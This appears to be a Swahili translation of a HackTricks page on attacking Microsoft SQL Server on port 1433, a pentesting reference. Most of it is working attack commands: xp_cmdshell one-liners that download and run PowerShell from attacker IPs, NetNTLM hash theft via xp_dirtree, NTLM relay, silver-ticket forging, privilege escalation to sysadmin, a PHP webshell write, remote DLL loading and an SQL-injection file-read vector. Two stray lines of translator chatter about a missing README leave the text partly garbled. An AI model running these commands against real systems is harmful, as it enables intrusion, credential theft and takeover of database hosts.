1433 - Pentesting MSSQL - Microsoft SQL Server

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Taarifa za Msingi

Kutoka kwa wikipedia:

Microsoft SQL Server ni mfumo wa usimamizi wa hifadhidata wa uhusiano uliotengenezwa na Microsoft. Kama server ya hifadhidata, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyotakiwa na programu nyingine—ambazo zinaweza kuendeshwa kwenye kompyuta ile ile au kwenye kompyuta nyingine kupitia mtandao (ikijumuisha Intaneti).

Bandari ya chaguo-msingi: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

Kutua kwenye Managed Database-as-a-Service (DBaaS)

Kila kitu kinachotegemea “owning the host” (kwa mfano, privilege escalation, lateral movement, and OS command execution) hakipo tena katika DBaaS. Pentesting katika mazingira haya lazima ibadilike na kuelekezwa kwenye application-layer exploitation, data exfiltration via SQL logic, misconfigured IAM roles, au muundo mbaya wa network/VPC. Kwa mfano, the Amazon RDS documentation inaweza kueleza wazi kwamba xp_cmdshell na the TRUSTWORTHY database property hazitumiwi.

Warning

Unapata database endpoint, si server. Mtoa huduma wa cloud anasimamia OS ya mwenyeji, the database engine binaries, na sera nyingi za usalama.

Jedwali za Mfumo za Default za MS-SQL

  • master Database: Hifadhidata hii ni muhimu kwani inarekodi maelezo yote ya ngazi ya mfumo kwa mfano wa SQL Server.
  • msdb Database: SQL Server Agent hutumia hifadhidata hii kusimamia upangaji wa alerts na jobs.
  • model Database: Inafanya kazi kama kielelezo kwa kila hifadhidata mpya kwenye mfano wa SQL Server; mabadiliko kama ukubwa, collation, recovery model, na mengine yanaakisiwa katika hifadhidata mpya zilizotengenezwa.
  • Resource Database: Hifadhidata ya read-only inayohifadhi system objects zinazokuja na SQL Server. Vitu hivi, ingawa vinahifadhiwa kwa kimwili katika Resource database, vinawasilishwa kwa kimantiki katika sys schema ya kila hifadhidata.
  • tempdb Database: Inatumikia kama eneo la kuhifadhi kwa muda kwa vitu vya muda au seti za matokeo za kati.

Uorodheshaji

Uorodheshaji wa Kiotomatiki

Ikiwa hujui chochote kuhusu huduma:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

Tip

Ikiwa hauna credentials unaweza kujaribu kuzikisia. Unaweza kutumia nmap au metasploit. Kuwa mwangalifu, unaweza block accounts ikiwa utafeli kuingia mara kadhaa ukitumia username iliyopo.

Metasploit (need creds)

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

Brute force

User Enumeration via RID Brute Force

Unaweza kuorodhesha watumiaji wa domain kupitia MSSQL kwa brute-forcing RIDs (Relative Identifiers). Mbinu hii inafaa unapokuwa na valid credentials lakini limited privileges:

# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000

# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000

# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000

Sina yaliyomo ya faili src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md. Tafadhali bandika hapa maandishi ya Markdown unayotaka nitafsiri, nami nitarudisha tafsiri kwa Kiswahili huku nikihifadhi tagi, viungo, njia, na msimbo kama ulivyo.

[snippet]
MSSQL                    10.129.234.50   1433   DC               1104: REDELEGATE\Christine.Flanders
MSSQL                    10.129.234.50   1433   DC               1105: REDELEGATE\Marie.Curie
MSSQL                    10.129.234.50   1433   DC               1106: REDELEGATE\Helen.Frost
MSSQL                    10.129.234.50   1433   DC               1107: REDELEGATE\Michael.Pontiac
MSSQL                    10.129.234.50   1433   DC               1108: REDELEGATE\Mallory.Roberts
MSSQL                    10.129.234.50   1433   DC               1109: REDELEGATE\James.Dinkleberg
[snippet]

Vigezo:

  • --local-auth: Tumia uthibitishaji wa ndani badala ya domain
  • --rid-brute <max_rid>: Brute force RIDs hadi nambari iliyobainishwa (chaguo-msingi: 4000)
  • -u: Jina la mtumiaji
  • -p: Nenosiri

Teknika hii itaorodhesha watumiaji kwa kuuliza MSSQL server kwa taarifa za akaunti zinazohusiana na RIDs mfululizo.

Uorodheshaji kwa Mikono

Kuingia

MSSQLPwner

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

Kawaida Enumeration

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

#Enumerate links
enum_links
#Use a link
use_link [NAME]

Pata Mtumiaji

Types of MSSQL Users

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

Pata Ruhusa

  1. Securable: Imefafanuliwa kama rasilimali zinazosimamiwa na SQL Server kwa udhibiti wa upatikanaji. Hizi zimegawanywa katika:
  • Server – Mifano ni pamoja na databases, logins, endpoints, availability groups, na server roles.
  • Database – Mifano yanajumuisha database role, application roles, schema, certificates, full text catalogs, na users.
  • Schema – Inajumuisha tables, views, procedures, functions, synonyms, n.k.
  1. Permission: Inahusishwa na securables za SQL Server; ruhusa kama ALTER, CONTROL, na CREATE zinaweza kutolewa kwa principal. Usimamizi wa ruhusa hufanyika kwa ngazi mbili:
  • Server Level kwa kutumia logins
  • Database Level kwa kutumia users
  1. Principal: Neno hili linarejea kiumbe/mhusika anayepatiwa ruhusa kwa securable. Principals kwa kawaida ni logins na database users. Udhibiti wa upatikanaji kwa securables hufanywa kwa kuidhinisha au kukataa ruhusa au kwa kuingiza logins na users katika roles zenye haki za upatikanaji.
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

Mbinu

Endesha Amri za OS

Caution

Kumbuka kwamba ili uweze kutekeleza amri si tu kwamba xp_cmdshell inapaswa kuwa imewezeshwa, bali pia lazima uwe na EXECUTE permission on the xp_cmdshell stored procedure. Unaweza kupata ni nani (isipokuwa sysadmins) anayeweza kutumia xp_cmdshell kwa:

Use master
EXEC sp_helprotect 'xp_cmdshell'

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —

MSSQLPwner

# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

Ukusanyaji wa mbali wa SQL unaotegemea WMI (sqlcmd + CSV export)

Waendeshaji wanaweza kupitisha kutoka tabaka la IIS/app hadi SQL Servers kwa kutumia WMI kuendesha batch ndogo inayothibitisha kwa MSSQL na kutekeleza miulizo ya ad‑hoc, ikihamisha matokeo kwa CSV. Hii hufanya ukusanyaji kuwa rahisi na kuendana na shughuli za wasimamizi.

Mfano mssq.bat

@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"

Iite kwa mbali kwa kutumia WMI.

wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"

Mbadala wa PowerShell

$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd

Vidokezo

  • sqlcmd inaweza kukosekana; tumia osql, PowerShell Invoke-Sqlcmd, au one‑liner inayotumia System.Data.SqlClient.
  • Tumia quoting kwa uangalifu; maswali marefu/yanayokompleka ni rahisi zaidi kuwasilisha kupitia faili au argument iliyopachikwa kwa Base64 ambayo ita-decode ndani ya stub ya batch/PowerShell.
  • Exfil the CSV via SMB (e.g., copy from \SQLHOST\C$\Windows\Temp) au compress na hamisha kupitia C2 yako.

Pata hashed passwords

SELECT * FROM master.sys.syslogins;

Kuiba NetNTLM hash / Relay attack

Unapaswa kuanzisha SMB server ili kunasa hash inayotumika katika authentication (impacket-smbserver au responder kwa mfano).

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

MSSQLPwner

# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

Warning

Unaweza kuangalia ni nani (isipokuwa sysadmins) ana ruhusa ya kuendesha MSSQL functions hizo kwa:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

Kwa kutumia zana kama responder au Inveigh inawezekana kuiba NetNTLM hash.
Unaweza kuona jinsi ya kutumia zana hizi katika:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Kutoka NetNTLMv2 capture hadi MSSQL silver ticket (PAC group injection)

  • Pata NetNTLMv2 ya akaunti ya huduma ya SQL Server kupitia xp_dirtree '\\\\<attacker_ip>\\share' kwa kutumia Responder (Hashcat mode 5600 to crack).
  • Tengeneza NTLM hash ya huduma kutoka kwenye nenosiri lililopatikana:
python3 - <<'PY'
import hashlib
print(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).hexdigest())
PY
  • Pata bytes za SID za domain kwa SELECT SUSER_SID('DOMAIN\\Domain Users'); (RID = last 4 bytes, little endian). Map/brute RIDs kwa nxc mssql ... --rid-brute ili kupata kikundi kinachotoa sysadmin (kwa mfano, RID 1105).
  • Tengeneza silver ticket kwa MSSQL SPN ukiingiza RID ya kikundi lenye mamlaka ndani ya PAC:
ticketer.py -nthash <SERVICE_NTLM> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn MSSQLSvc/<fqdn>:1433 -groups <GROUP_RID> <user_to_impersonate>
KRB5CCNAME=<user_to_impersonate>.ccache mssqlclient.py -no-pass -k <fqdn>
  • Wezesha xp_cmdshell ikiwa inahitajika; amri zinaendeshwa kwa akaunti ya huduma ya SQL Server hata unapojigiza kwa tiketi bandia.

Read this post ili kupata habari zaidi kuhusu jinsi ya kunyanyasa kipengele hiki:

MSSQL AD Abuse

Kuandika Mafaili

Ili kuandika mafaili kwa kutumia MSSQL, tunahitaji kuwezesha Ole Automation Procedures, ambayo inahitaji ruhusa za admin, na kisha kutekeleza stored procedures kadhaa ili kuunda faili:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

Soma faili kwa kutumia OPENROWSET

Kwa chaguo-msingi, MSSQL inaruhusu kusoma faili kwa faili yoyote katika mfumo wa uendeshaji ambao akaunti ina ruhusa ya kusoma. Tunaweza kutumia query ifuatayo ya SQL:

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Hata hivyo, chaguo BULK kinahitaji ruhusa ya ADMINISTER BULK OPERATIONS au ADMINISTER DATABASE BULK OPERATIONS.

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

Vektori inayotegemea makosa kwa SQLi:

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/Kusoma faili na kutekeleza scripts (Python na R)

MSSQL inaweza kukuwezesha kutekeleza scripts katika Python na/au R. Msimbo huu utaendeshwa na mtumiaji tofauti kuliko yule anayenatumia xp_cmdshell kutekeleza amri.

Mfano wa kujaribu kutekeleza a ‘R’ “Hellow World!” haifanyi kazi:

Mfano unaotumia Python iliyosanidiwa kutekeleza vitendo kadhaa:

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

Kusoma Registry

Microsoft SQL Server hutoa taratibu za kuhifadhi zilizoongezwa nyingi ambazo zinakuwezesha kuingiliana sio tu na mtandao bali pia na mfumo wa faili hata Windows Registry:

KawaidaInayofahamu Instance
sys.xp_regreadsys.xp_instance_regread
sys.xp_regenumvaluessys.xp_instance_regenumvalues
sys.xp_regenumkeyssys.xp_instance_regenumkeys
sys.xp_regwritesys.xp_instance_regwrite
sys.xp_regdeletevaluesys.xp_instance_regdeletevalue
sys.xp_regdeletekeysys.xp_instance_regdeletekey
sys.xp_regaddmultistringsys.xp_instance_regaddmultistring
sys.xp_regremovemultistringsys.xp_instance_regremovemultistring
 
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

Kwa mifano zaidi angalia original source.

RCE na MSSQL User Defined Function - SQLHttp

Inawezekana kupakia .NET dll ndani ya MSSQL kwa kutumia functions maalum. Hii, hata hivyo, inahitaji dbo access hivyo unahitaji muunganisho na database kama sa au jukumu la Administrator.

Following this link to see an example.

RCE na autoadmin_task_agents

Kulingana to this post, pia inawezekana kupakia dll ya mbali na kufanya MSSQL kuitekeleza kwa kitu kama:

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

Sina yaliyomo yaREADME.md - unaweza kunakili na kubandika maudhui ya faili src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md hapa ili niweze kutafsiri kwa Kiswahili?

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{

Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}

public override void DoWork()
{

}

public override void ExternalJob(string command, LogBaseService jobLogger)
{

}

public override void Start(IServicesFactory services)
{

}

public override void Stop()
{

}


public void Test()
{

}
}
}

Njia nyingine za RCE

Kuna mbinu nyingine za kupata utekelezaji wa amri, kama vile kuongeza extended stored procedures, CLR Assemblies, SQL Server Agent Jobs, na external scripts.

MSSQL Privilege Escalation

From db_owner to sysadmin

Iwapo mtumiaji wa kawaida atapewa jukumu la db_owner juu ya database inayomilikiwa na mtumiaji wa admin (kama sa) na database hiyo imewekwa kama trustworthy, mtumiaji huyo anaweza kutumia vibali hivyo vibaya ili kufanya privesc, kwa sababu stored procedures zilizoundwa huko zinaweza execute kama mmiliki (admin).

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

Unaweza kutumia moduli ya metasploit:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

Au script ya PS:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

Kuiga watumiaji wengine

SQL Server ina ruhusa maalum, iitwayo IMPERSONATE, ambayo inamruhusu mtumiaji anayetekeleza kuchukua ruhusa za mtumiaji mwingine au login hadi muktadha urudishwe au kikao kimalizike.

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]

Tip

Ikiwa unaweza impersonate mtumiaji, hata kama si sysadmin, unapaswa kuangalia ikama mtumiaji ana access kwa databases nyingine au linked servers.

Kumbuka kwamba mara tu unapokuwa sysadmin unaweza impersonate mtu mwingine yeyote:

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

Unaweza kufanya shambulio hili kwa kutumia moduli ya metasploit:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

au kwa script ya PS:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

Kutumia MSSQL kwa Uendelevu

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

Kutoa nywila kutoka SQL Server Linked Servers

Mshambuliaji anaweza kutoa nywila za SQL Server Linked Servers kutoka SQL Instances na kuzipata kwa maandishi wazi, kumwpewa mshambuliaji nywila ambazo zinaweza kutumika kupata msimamo mkubwa kwenye lengo. Script ya kutoa na ku-decrypt nywila zilizohifadhiwa kwa Linked Servers inaweza kupatikana here

Hitaji na usanidi fulani lazima yafanywe ili exploit hii ifanye kazi. Kwanza kabisa, lazima uwe na haki za Administrator kwenye mashine, au uwezo wa kusimamia SQL Server Configurations.

Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi vitu vitatu, ambavyo ni vifuatavyo:

  1. Wezesha TCP/IP kwenye SQL Server instances;
  2. Ongeza Start Up parameter, katika kesi hii itaongezwa trace flag, ambayo ni -T7806.
  3. Wezesha remote admin connection.

Ili kuendesha otomatiki usanidi hizi, this repository ina scripts zinazohitajika. Mbali na kuwa na powershell script kwa kila hatua ya usanidi, repository pia ina script kamili inayochanganya scripts za usanidi na utoaji na ku-decrypt kwa nywila.

Kwa taarifa zaidi, rejea viungo vifuatavyo kuhusu shambulizi hili: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

Local Privilege Escalation

The user running MSSQL server will have enabled the privilege token SeImpersonatePrivilege.
You probably will be able to escalate to Administrator following one of these 2 paged:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

JuicyPotato

Shodan

  • port:1433 !HTTP

Marejeo

Amri za Otomatiki za HackTricks

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

Tip

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